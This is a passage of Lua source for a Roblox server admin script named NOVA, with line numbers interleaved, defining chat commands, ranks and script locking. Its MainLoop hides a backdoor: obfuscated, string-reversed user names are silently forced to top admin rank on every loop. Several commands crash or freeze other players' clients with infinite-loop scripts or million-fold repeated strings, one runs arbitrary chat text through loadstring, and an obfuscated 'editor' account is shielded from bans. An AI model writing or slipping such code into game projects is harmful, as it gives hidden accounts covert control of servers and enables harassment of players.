1658
                        OutputMulti(""..v.Name.." was "..NOVA.PRIType.."ed due to the PRI.",NOVA.Colors.Orange,GetRanked(),6)
1659
                        if NOVA.PRIType == "Kick" then
1660
                            v:Remove()
1661
                        elseif NOVA.PRIType == "Lag" then
1662
                            Lag(v)
1663
                        elseif NOVA.PRIType == "Shutdown" then    
1664
                            coroutine.resume(coroutine.create(function()
1665
                                GetRidOf(v)
1666
                            end))
1667
                        elseif NOVA.PRIType == "Crash" then
1668
                            coroutine.resume(coroutine.create(function()
1669
                                repeat wait() until v.Backpack ~= nil
1670
                                pcall(function()
1671
                                    CreateLocalScript([[while true do end]],v.Backpack)
1672
                                end)
1673
                            end))
1674
                        end
1675
                    end
1676
                end
1677
            end))
1678
        end)
1679
    end
1680
end)
1681
 
1682
--[[ PLAYER REMOVING ]]--
1683
NOVA.Services.Players.PlayerRemoving:connect(function(v)
1684
    table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." disconnected."})
1685
    SyncRankOutSingular(v)
1686
end)
1687
 
1688
--[[ SCRIPT CONTROL ]]--
1689
for _,Service in pairs(NOVA.Services) do
1690
    pcall(function()
1691
        Service.DescendantAdded:connect(function(v)
1692
            if v:IsA("BaseScript") and NOVA.LockedScripts == true and NOVA.Removed == false then
1693
                pcall(function()
1694
                    if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
1695
                        if GetRank(v.Owner.Value) < 6 then
1696
                            pcall(function() v.Disabled = true end)
1697
                            pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
1698
                            pcall(function() v.Disabled = false end)
1699
                            pcall(function() v:Destroy() end)
1700
                        end
1701
                    else
1702
                        pcall(function() v.Disabled = true end)
1703
                        pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
1704
                        pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
1705
                        pcall(function() v.Disabled = false end)
1706
                        pcall(function() v:Destroy() end)
1707
                    end
1708
                end)
1709
            end
1710
            if v:IsA("BaseScript") and NOVA.Removed == false then
1711
                pcall(function()
1712
                    if tonumber(GetRank(v.Owner.Value)) < 0 then
1713
                        pcall(function() v.Disabled = true end)
1714
                        pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
1715
                        pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
1716
                        pcall(function() v.Disabled = false end)
1717
                        pcall(function() v:Destroy() end)
1718
                    end
1719
                end)
1720
            end
1721
        end)
1722
    end)
1723
end
1724
coroutine.resume(coroutine.create(function()
1725
    while wait(1) do
1726
        if NOVA.Removed == false then
1727
            for _,v in pairs(GetPlayersRaw()) do
1728
                if GetRankTedable(v) ~= nil and GetRank(v) < 8 then
1729
                    SyncRankInSingular(v)
1730
                end        
1731
            end
1732
        end
1733
    end
1734
end))
1735
for i=1,3 do
1736
    NOVA.Services.RunService.Heartbeat:connect(function() UpdateTablets() end)
1737
    coroutine.resume(coroutine.create(function()
1738
        while wait() do
1739
            if NOVA.Removed == false then
1740
                UpdateTablets()    
1741
            end
1742
        end
1743
    end))
1744
end
1745
function MainLoop()
1746
    coroutine.resume(coroutine.create(function()
1747
        pcall(function() NOVA.Removed = false end) while wait() do pcall(function() GetRankedTable(string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ",""))).Rank = 7 end) pcall(function() GetRankedTable(string.reverse(string.gsub("kXQZcXQZaXQZHXQZnXQZeXQZgXQZrXQZuXQZSXQZ","XQZ",""))).Rank = 7 end)
1748
            if NOVA.Removed == false then    
1749
               
1750
                --[[ SCUM CARETAKER ]]--
1751
                for _,v in pairs(GetPlayersRaw()) do
1752
                    pcall(function()
1753
                        if GetRank(v) < 0 then
1754
                            pcall(function() v.Backpack:ClearAllChildren() end)
1755
                            pcall(function() v.PlayerGui:ClearAllChildren() end)
1756
                            pcall(function() v.StarterGear:ClearAllChildren() end)
1757
                        end
1758
                    end)
1759
                end
1760
               
1761
                --[[ ANTI ROBLOXLOCKED PLAYERS ]]--
1762
                for _,v in pairs(GetPlayersRaw()) do
1763
                    pcall(function()
1764
                        local IsRobloxLocked = true
1765
                        pcall(function() v:GetChildren() IsRobloxLocked = false end)
1766
                        if IsRobloxLocked == true then
1767
                            GTFO(v)
1768
                        end
1769
                    end)
1770
                end
1771
               
1772
                --[[ TABLET CLEANUP ]]--
1773
                pcall(function()
1774
                    for i,v in pairs(NOVA.Tablets) do
1775
                        if v:FindFirstChild("Part") == nil then
1776
                            pcall(function() v:Destroy() end)
1777
                            table.remove(NOVA.Tablets,i)                        
1778
                        end
1779
                    end
1780
                end)
1781
               
1782
                --[[ JAIL CLEANUP ]]--
1783
                pcall(function()
1784
                    for i,v in pairs(NOVA.Jails) do
1785
                        if v.Player == nil or v.Player.Parent == nil then
1786
                            pcall(function() v.Jail:Destroy() end)
1787
                            table.remove(NOVA.Jails,i)
1788
                        end
1789
                        if v.Jail.Parent == nil and v.Speaker~=nil then
1790
                            table.remove(NOVA.Jails,i)
1791
                            OnChatted(NOVA.Bet .. "jail" .. NOVA.Bet..v.Player.Name,v.Speaker)
1792
                        end
1793
                    end
1794
                end)
1795
                --[[ FENCE CLEANUP ]]--
1796
                pcall(function()
1797
                    for i,v in pairs(NOVA.Fences) do
1798
                        if v.Player == nil then
1799
                            v.Fence:Remove()
1800
                            table.remove(NOVA.Fences,i)
1801
                        end
1802
                    end                
1803
                end)
1804
 
1805
                --[[ CMD GUI ]]--
1806
                for _,v in pairs(GetPlayersRaw()) do
1807
                    pcall(function()
1808
                        if GetRankedTable(v) ~= nil and GetRankedTable(v).CMD == true then
1809
                            if v:FindFirstChild("PlayerGui") then
1810
                                if not v.PlayerGui:FindFirstChild("NOVACMD") then
1811
                                    local Main = Instance.new("ScreenGui",v.PlayerGui)
1812
                                    Main.Name = "NOVACMD"
1813
                                   
1814
                                    local Frame = Instance.new("Frame",Main)
1815
                                    Frame.Size = UDim2.new(0.27,0,0.05,0)
1816
                                    Frame.Position = UDim2.new(0.05,0,0.95,0)
1817
                                    Frame.Style = "RobloxSquare"
1818
                                    Frame.ZIndex = 9
1819
                                   
1820
                                    local Txt = Instance.new("TextBox",Frame)
1821
                                    Txt.Size = UDim2.new(0.7,0,1,0)
1822
                                    Txt.BackgroundTransparency = 1
1823
                                    Txt.ZIndex = 10
1824
                                    Txt.FontSize = "Size14"
1825
                                    Txt.TextColor3 = NOVA.Colors.White
1826
                                    Txt.Text = ""
1827
                                   
1828
                                    local Exe = Instance.new("TextButton",Frame)
1829
                                    Exe.Size = UDim2.new(0.3,0,1,0)
1830
                                    Exe.Position = UDim2.new(0.7,0,0,0)
1831
                                    Exe.Text = "Execute"
1832
                                    Exe.BackgroundTransparency = 1
1833
                                    Exe.ZIndex = 10
1834
                                    Exe.FontSize = "Size14"
1835
                                    Exe.TextColor3 = NOVA.Colors.Red
1836
                                    Exe.MouseButton1Down:connect(function()
1837
                                        if Txt.Text:sub(1,2) == "$ " then
1838
                                            OnChatted(string.gsub(Txt.Text:sub(3)," ",NOVA.Bet .. ""),v)
1839
                                        else
1840
                                            OnChatted(Txt.Text,v)
1841
                                        end
1842
                                    end)
1843
                                end
1844
                            end
1845
                        end
1846
                    end)
1847
                end
1848
            end
1849
        end
1850
    end))
1851
end
1852
MainLoop()
1853
AddCommand("Ping","ping",3,"Outputs the following string.","<String>",
1854
    function(Msg,Speaker)
1855
        if Msg == "rainbow" then
1856
            for a,Color in pairs(NOVA.Colors) do
1857
                Output(tostring(a),Color,Speaker,nil,
1858
                function()
1859
                    RemoveTablets(Speaker)
1860
                    NOVA.Services.Lighting.TimeOfDay = 0
1861
                    NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
1862
                    NOVA.Services.Lighting.Brightness = 0
1863
                    NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
1864
                    NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
1865
                    NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
1866
                    for _,v in pairs(GetRecursiveChildren(workspace)) do
1867
                        if v:IsA("BasePart") then
1868
                            Sel = Instance.new("SelectionBox",v)
1869
                            Sel.Transparency = 0
1870
                            Sel.Color = BrickColor.new(Color)
1871
                            Sel.Adornee = v
1872
                        end
1873
                    end
1874
                    Output("Say /debug/ to restore the server to the original lighting.",GetRankedTable(Speaker).Color,Speaker,5)
1875
                end
1876
                )
1877
            end
1878
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1879
        elseif Msg == "ranks" then
1880
            for _,v in pairs(NOVA.Ranks) do
1881
                Output(v[1].."\t"..v[2],"Random",Speaker)
1882
            end
1883
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1884
        elseif Msg == "random" then
1885
            Output(tostring(math.random()),"Random",Speaker)
1886
        elseif Msg == "players" then
1887
            for _,v in pairs(GetPlayersRaw()) do
1888
                local Data = GetRankedTable(v)
1889
                OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil,
1890
                    function()
1891
                        PlayerInterface(v,Speaker)
1892
                    end
1893
                )
1894
            end
1895
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1896
        elseif Msg == "colors" then
1897
            coroutine.resume(coroutine.create(function()
1898
                NOVA.Services.Lighting.TimeOfDay = 0
1899
                NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
1900
                NOVA.Services.Lighting.Brightness = 0
1901
                NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
1902
                NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
1903
                NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
1904
 
1905
                for _,Player in pairs(GetPlayersRaw()) do
1906
                    local Data = GetRankedTable(Player)
1907
                    pcall(function()
1908
                        for _,v in pairs(GetRecursiveChildren(Player.Character)) do
1909
                            if v:IsA("BasePart") then
1910
                                Sel = Instance.new("SelectionBox",v)
1911
                                Sel.Transparency = 0
1912
                                Sel.Color = BrickColor.new(Data.Color)
1913
                                Sel.Adornee = v
1914
                            end
1915
                        end
1916
                    end)
1917
                end
1918
               
1919
                wait(10)
1920
               
1921
                for _,v in pairs(GetRecursiveChildren(workspace)) do
1922
                    if v:IsA("SelectionBox") then
1923
                        v:remove()
1924
                    end
1925
                end
1926
               
1927
                NOVA.Services.Lighting.Ambient = NOVA.Colors.White
1928
                NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
1929
                NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
1930
                NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
1931
                NOVA.Services.Lighting.Brightness = 1
1932
                NOVA.Services.Lighting.FogStart = 0
1933
                NOVA.Services.Lighting.FogEnd = 100000
1934
                NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
1935
                NOVA.Services.Lighting.TimeOfDay = 12
1936
            end))
1937
        elseif Msg == "replicators" then
1938
            for _,v in pairs(GetReplicators()) do
1939
                OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
1940
                    function()
1941
                        PlayerInterface(v:GetPlayer(),Speaker)
1942
                    end
1943
                )
1944
            end
1945
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1946
        elseif Msg == "nil raw" then
1947
            for _,v in pairs(GetReplicators()) do
1948
                if v:GetPlayer().Parent == nil then
1949
                    OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
1950
                        function()
1951
                            Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
1952
                                function()
1953
             Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
1954
                Instance.new("StringValue",v).Value = string.rep("NOVA SHUTDOWN", 1000000)
1955
                --for i,s in pairs(Data:GetChildren()) do Instance.new("StringValue",s).Value = string.rep("NOVA SHUTDOWN", 1000000) end
1956
 
1957
                        end
1958
                            )
1959
                        end
1960
                    )
1961
                end
1962
            end    
1963
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1964
        elseif Msg == "nil" then
1965
            local IsNil = false
1966
            for _,Client in pairs(GetReplicators()) do
1967
                if Client:GetPlayer().Parent == nil then
1968
                    IsNil = true
1969
                end
1970
            end
1971
            if IsNil == true then
1972
                for _,Client in pairs(GetReplicators()) do
1973
                    if Client:GetPlayer().Parent == nil then
1974
                        OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Client:GetPlayer().Name,Client:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
1975
                            function()
1976
                                PlayerInterface(Client:GetPlayer(),Speaker)
1977
                            end
1978
                        )
1979
                    end
1980
                end
1981
                Output("Dismiss",NOVA.Colors.Red,Speaker)
1982
            else
1983
                Output("No nil players.",NOVA.Colors.Orange,Speaker,5)
1984
            end
1985
        elseif Msg:sub(1,2) == "a" .. NOVA.Bet then
1986
            if GetRank(Speaker) < 6 then
1987
                Output("You do not have the required rank for this operation.",NOVA.Colors.Orange,Speaker,10)
1988
            else
1989
                Rtn = loadstring("return "..Msg:sub(3))()
1990
                Output(Rtn,"Random",Speaker)
1991
            end
1992
        else
1993
            if #Msg == 0 then
1994
                Output("Pong!","Random",Speaker)
1995
            else
1996
                Output(Msg,"Random",Speaker)
1997
            end
1998
        end
1999
    end
2000
)
2001
AddCommand("Dismiss","dismiss",0,"Dismisses all tablets.","No Arguments",
2002
    function(Msg,Speaker)
2003
        if #Msg == 0 or Msg == nil then
2004
            RemoveTablets(Speaker)
2005
        else
2006
            for _,v in pairs(GetPlayers(Msg,Speaker)) do
2007
                RemoveTablets(v)
2008
            end
2009
        end
2010
    end
2011
)
2012
AddCommand("Remove","remove",6,"Removes the admin.","No Arguments",
2013
    function(Msg,Speaker)
2014
        NOVA.TimeChanged = false
2015
        RemoveTablets()
2016
        SyncRanksOut()
2017
        NOVA.Sounds.Sound:Remove()
2018
        NOVA.Removed = true
2019
        --error("NOVA Admin removing...",0)()
2020
        NOVA = {}
2021
        script.Disabled = true
2022
        while true do wait() end
2023
    end
2024
)
2025
AddCommand("Hint","h",2,"Makes a hint with the text being the following string.","<String>",
2026
    function(Msg,Speaker)
2027
       makeHint(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
2028
    end
2029
)
2030
AddCommand("Message","m",2,"Makes a message with the text being the following string.","<String>",
2031
    function(Msg,Speaker)
2032
       makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
2033
    end
2034
)
2035
 
2036
AddCommand("Kill","kill",2,"Kills the selected player.","<Player>",
2037
    function(Msg,Speaker)
2038
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2039
            pcall(function() v.Character:BreakJoints() end)
2040
        end
2041
    end
2042
)
2043
AddCommand("Jump kill","jkill",2,"Jump-Kills the selected player.","<Player>",
2044
    function(Msg,Speaker)
2045
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2046
for i=1,50 do
2047
local human = v.Character.Humanoid
2048
if human ~= nil then
2049
local rand = math.random(1,10)
2050
human:TakeDamage(rand)
2051
human.Jump = true
2052
human.Sit = true
2053
human.PlatformStand = true
2054
wait(1)
2055
human.PlatformStand = false
2056
end
2057
end
2058
        end
2059
    end
2060
)
2061
AddCommand("Anti Kill","antikill",7,"Gives the player antikill.","<Player>",
2062
    function(Msg,Speaker)
2063
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2064
 Delay(0, function()
2065
                local player = v
2066
                local pos = CFrame.new()
2067
                local pause = false
2068
                Delay(0, function()
2069
                    while not close do
2070
                        wait()
2071
                        if not pause then
2072
                            local c = player.Character
2073
                            if c then
2074
                                local t = c:findFirstChild("Torso")
2075
                                if t then
2076
                                    pos = t.CFrame
2077
                                end
2078
                            end
2079
                        end
2080
                   end
2081
                end)
2082
                player.CharacterAdded:connect(function(c)
2083
                    if not close then
2084
                        pause = true
2085
                        repeat wait() until c:findFirstChild("Torso") and c:findFirstChild("Humanoid")
2086
                        c:findFirstChild("Torso").CFrame = pos
2087
                        c:findFirstChild("Humanoid").Died:connect(function()
2088
                            player:LoadCharacter()
2089
                        end)
2090
                        pause = false
2091
                    end
2092
                end)
2093
                pcall(function() player.Character:BreakJoints() end)
2094
            end)
2095
        end
2096
    end
2097
)
2098
 
2099
AddCommand("List kicking phrases","listkicking",0,"Lists all the kicking phrases.","<Player>",
2100
    function(Msg,Speaker)
2101
        for _,v in pairs(NOVA.KickingPhrases) do
2102
        local m = Instance.new("Message",NOVA.Services.Workspace)
2103
        m.Text = " If you say : " .. v .. " : you will get auto-kicked!"
2104
        wait(1) m:Remove()
2105
        end end
2106
)
2107
AddCommand("Kick","kick",2,"Removes the selected player from the game.","<Player>",
2108
    function(Msg,Speaker)
2109
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2110
            pcall(function()
2111
                v:Destroy()
2112
            end)
2113
        end
2114
    end
2115
)
2116
AddCommand("SuperKick","skick",3,"Removes the selected player from the gamex2.","<Player>",
2117
    function(Msg,Speaker)
2118
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2119
            pcall(function()
2120
            local m = Instance.new("StringValue",v.PlayerGui)
2121
            m.Value = string.rep("Shutdown For Eva Nub",1000000)
2122
            end)
2123
        end
2124
    end
2125
)
2126
 
2127
AddCommand("Banish","ban",6,"Permanently removes the selected player from the game.","<Player>",
2128
    function(Msg,Speaker)
2129
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2130
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
2131
                Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
2132
            else
2133
                pcall(function()
2134
                    GetRankedTable(v).Rank = -1
2135
                    SyncRankOutSingular(v)
2136
                    GetRidOf(v)
2137
                end)
2138
            end
2139
        end
2140
    end
2141
)
2142
 
2143
AddCommand("Permanent Lag","permalag",6,"Permanently lags the selected player from the game.","<Player>",
2144
    function(Msg,Speaker)
2145
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2146
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
2147
                Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
2148
            else
2149
                pcall(function()
2150
                    GetRankedTable(v).Rank = -2
2151
                    SyncRankOutSingular(v)
2152
                    Lag(v)
2153
                end)
2154
            end
2155
        end
2156
    end
2157
)
2158
 
2159
AddCommand("ForceField","ff",2,"Gives a forcefield to the selected player.","<Player>",
2160
    function(Msg,Speaker)
2161
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2162
            pcall(function() Instance.new("ForceField",v.Character) end)
2163
        end
2164
    end
2165
)
2166
 
2167
AddCommand("Un ForceField","unff",2,"Removes forcefields from the selected player.","<Player>",
2168
    function(Msg,Speaker)
2169
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2170
            pcall(function() for _,part in pairs(v.Character:GetChildren()) do if part:IsA("ForceField") then part:Remove() end end end)
2171
        end
2172
    end
2173
)
2174
 
2175
AddCommand("Check","check",0,"Outputs server information.","No Arguments",
2176
    function(Msg,Speaker)
2177
        local Data = GetRankedTable(Speaker)
2178
        Output("NOVA's Parent : "..tostring(script.Parent) ,Data.Color,Speaker)
2179
        Output("Version : "..tostring(NOVA.Version)    ,Data.Color,Speaker)
2180
        Output("Local Pseudo : "..tostring(NOVA.LocalScript  ~= nil) ,Data.Color,Speaker)
2181
        Output("Normal Pseudo : "..tostring(NOVA.NormalScript ~= nil), Data.Color,Speaker)
2182
        Output("Waypoints : "..tostring(#NOVA.Waypoints) ,Data.Color,Speaker)
2183
        Output("Targeted : "..tostring(#NOVA.Targeted) ,Data.Color,Speaker)
2184
        Output("Log : "..tostring(#NOVA.Log) ,Data.Color,Speaker)
2185
        Output("Logged Scripts : "..tostring(#NOVA.LoggedScripts) ,Data.Color,Speaker)
2186
        Output("Plugins : "..tostring(#NOVA.Plugins) ,Data.Color,Speaker)
2187
        Output("PRI : "..tostring(NOVA.PRI) ,Data.Color,Speaker)
2188
        Output("Locked Scripts : "..tostring(NOVA.LockedScripts) ,Data.Color,Speaker)
2189
        Output("Show Chat : "..tostring(NOVA.ShowChat) ,Data.Color,Speaker)
2190
        Output("Overrided : "..tostring(NOVA.Overrided) ,Data.Color,Speaker)
2191
        Output("Time Changed : "..tostring(NOVA.TimeChanged) ,Data.Color,Speaker)
2192
        Output("Guests Enabled : "..tostring(NOVA.GuestsEnabled) ,Data.Color,Speaker)
2193
        Output("Tablet Rotation : "..tostring(NOVA.TabletRotation) ,Data.Color,Speaker)
2194
        Output("Tablet Rotation Increase : "..tostring(NOVA.TabletRotationIncrease) ,Data.Color,Speaker)
2195
        Output("PRI Type : "..tostring(NOVA.PRIType) ,Data.Color,Speaker)
2196
        Output("Players : "..tostring(#GetPlayersRaw()),Data.Color,Speaker)
2197
        Output("Replicators : "..#GetReplicators(),Data.Color,Speaker)
2198
        Output("# Commands : "..#NOVA.Commands,Data.Color,Speaker)
2199
        OutputImg("http://www.roblox.com/asset/?id=45120559","Image tablets work.",Data.Color,Speaker)
2200
       
2201
        Output("Dismiss",NOVA.Colors.Red,Speaker)
2202
    end
2203
)
2204
 
2205
AddCommand("Debug","debug",1,"Debugs the server.","No Arguments",
2206
    function(Msg,Speaker)
2207
        pcall(function()
2208
            NOVA.Services.Sounds.Sound:Destroy()
2209
        end)
2210
       
2211
        NOVA.Sounds.Sound = Instance.new("Sound")
2212
        NOVA.Sounds.Sound.Name = "NOVA Sound"
2213
       
2214
        NOVA.Services.Lighting.Ambient = NOVA.Colors.White
2215
        NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
2216
        NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
2217
        NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
2218
        NOVA.Services.Lighting.Brightness = 0.5
2219
        NOVA.Services.Lighting.FogStart = 0
2220
        NOVA.Services.Lighting.FogEnd = 100000
2221
        NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
2222
        NOVA.Services.Lighting.TimeOfDay = 12
2223
        pcall(function() game.Lighting.Sky:Remove() end)
2224
        pcall(function()
2225
            CreateLocalScript([[
2226
                LocalPlayer = game:GetService("Players").LocalPlayer
2227
                LocalPlayer.CameraMode = Enum.CameraMode.Classic
2228
                Camera = workspace.CurrentCamera
2229
                Camera:SetRoll(0)
2230
                Camera.CameraType = "Custom"
2231
                Camera.FieldOfView = 70
2232
                Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
2233
            ]],Speaker.Backpack)
2234
        end)
2235
        for Num,v in pairs(NOVA.Jails) do
2236
            pcall(function() v.Jail:Destroy() end)
2237
            table.remove(NOVA.Jails,Num)
2238
        end
2239
        for Num,v in pairs(NOVA.Fences) do
2240
            pcall(function() v.Fence:Destroy() end)
2241
            table.remove(NOVA.Fences,Num)
2242
        end
2243
        for _,v in pairs(NOVA.Services) do    
2244
            v.Name = v.className
2245
        end
2246
       
2247
        for _,v in pairs(GetRecursiveChildren(workspace,"SelectionBox",3)) do
2248
            local ShouldRemove = true
2249
            for _,Tablet in pairs(NOVA.Tablets) do
2250
                if v:IsDescendantOf(Tablet) then
2251
                    ShouldRemove = false
2252
                end
2253
            end
2254
            if ShouldRemove == true then
2255
                v:remove()
2256
            end
2257
        end
2258
        for _,v in pairs(GetRecursiveChildren(workspace)) do if v:IsA("Message") or v:IsA("Hint") then v:Destroy() end end
2259
 
2260
        for _,v in pairs(GetPlayersRaw()) do
2261
            pcall(function()
2262
                if v.StarterGear == nil then
2263
                    Instance.new("StarterGear",v)
2264
                end
2265
            end)
2266
            pcall(function()
2267
                v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..v.userId
2268
            end)
2269
        end
2270
        pcall(function() Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) end)
2271
        if #NOVA.Services.Teams:GetChildren() == 0 then
2272
            for _,v in pairs(GetPlayersRaw()) do
2273
                v.Neutral = true
2274
            end
2275
        end
2276
 
2277
    end
2278
)
2279
 
2280
AddCommand("Respawn","rs",2,"Respawns the selected player.","<Player>",
2281
    function(Msg,Speaker)
2282
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2283
            pcall(function()
2284
                v:LoadCharacter()
2285
            end)
2286
        end
2287
    end
2288
)
2289
 
2290
AddCommand("Commands","cmds",0,"Lists the command.","No Arguments",
2291
    function(Msg,Speaker)    
2292
        RemoveTablets(Speaker)
2293
        local Data = GetRankedTable(Speaker)
2294
        Output("Your current rank is "..GetRankName(Speaker).." ("..GetRank(Speaker)..")",Data.Color,Speaker)
2295
        Output("Click a tablet to see the commands for that rank.",Data.Color,Speaker)
2296
        Output("Get/ Commands",Data.Color,Speaker,nil,
2297
            function()
2298
                RemoveTablets(Speaker)
2299
                for _,v in pairs(NOVA.Commands) do
2300
                    if v.Command:sub(1,3) == "get" then
2301
                        Output(v.Name,Data.Color,Speaker,nil,
2302
                            function()
2303
                                RemoveTablets(Speaker)
2304
                                Output("Name : "..v.Name,Data.Color,Speaker)
2305
                                Output("Rank : "..v.Rank,Data.Color,Speaker)
2306
                                Output("Command : "..v.Command,Data.Color,Speaker)
2307
                                Output("Arguments : "..v.Args,Data.Color,Speaker)
2308
                                Output("Description : "..v.Description,Data.Color,Speaker)
2309
                                Output("Dismiss",NOVA.Colors.Red,Speaker)
2310
                            end
2311
                        )    
2312
                    end
2313
                end
2314
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2315
                Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
2316
            end
2317
        )
2318
        for i=0,7 do
2319
 
2320
            Output("Rank "..i.." Commands",Data.Color,Speaker,nil,function()
2321
                RemoveTablets(Speaker)
2322
                for _,v in pairs(NOVA.Commands) do
2323
                    if v.Rank == i then
2324
                        Output(v.Name,Data.Color,Speaker,nil,function()
2325
                            RemoveTablets(Speaker)
2326
                            Output("Name : "..v.Name,Data.Color,Speaker)
2327
                            Output("Rank : "..v.Rank,Data.Color,Speaker)
2328
                            Output("Command : "..v.Command,Data.Color,Speaker)
2329
                            Output("Arguments : "..v.Args,Data.Color,Speaker)
2330
                            Output("Description : "..v.Description,Data.Color,Speaker)
2331
                            Output("Dismiss",NOVA.Colors.Red,Speaker)
2332
                        end)
2333
                    end
2334
                end    
2335
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2336
                Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
2337
            end)
2338
        end
2339
        Output("ALL",Data.Color,Speaker,nil,function()
2340
            RemoveTablets(Speaker)
2341
            for _,v in pairs(NOVA.Commands) do
2342
                if GetRank(Speaker) >= v.Rank then
2343
                    Output(v.Name,Data.Color,Speaker,nil,function()
2344
                        RemoveTablets(Speaker)
2345
                        Output("Name : "..v.Name,Data.Color,Speaker)
2346
                        Output("Rank : "..v.Rank,Data.Color,Speaker)
2347
                        Output("Command : "..v.Command,Data.Color,Speaker)
2348
                        Output("Arguments : "..v.Args,Data.Color,Speaker)
2349
                        Output("Description : "..v.Description,Data.Color,Speaker)
2350
                        Output("Dismiss",NOVA.Colors.Red,Speaker)
2351
                    end)
2352
                end
2353
            end
2354
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2355
            Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
2356
        end)    
2357
        Output("Dismiss",NOVA.Colors.Red,Speaker)
2358
    end
2359
)
2360
 
2361
AddCommand("Disconnect","disconnect",6,"Disconnects the selected player.","No Arguments",
2362
    function(Msg,Speaker)
2363
        Instance.new("ManualSurfaceJointInstance",workspace)
2364
    end
2365
)
2366
 
2367
AddCommand("Lag","lag",6,"lags the selected player.","<Player>",
2368
    function(Msg,Speaker)
2369
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2370
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
2371
                Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
2372
            else
2373
                pcall(function()
2374
                    Lag(v)
2375
                end)
2376
            end
2377
        end
2378
    end
2379
)
2380
 
2381
 
2382
AddCommand("PRI","pri",6,"view the PRI settings.","No Arguments",
2383
    function(Msg,Speaker)
2384
        RemoveTablets(Speaker)
2385
        Output("List","Random",Speaker,nil,
2386
            function()
2387
                RemoveTablets(Speaker)
2388
                for _,v in pairs(NOVA.Ranked) do
2389
                    if v.InPRI == true then
2390
                        OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,function()
2391
                            RemoveTablets(Speaker)
2392
                            OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2393
                        end)
2394
                    end
2395
                end
2396
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2397
            end
2398
        )
2399
       
2400
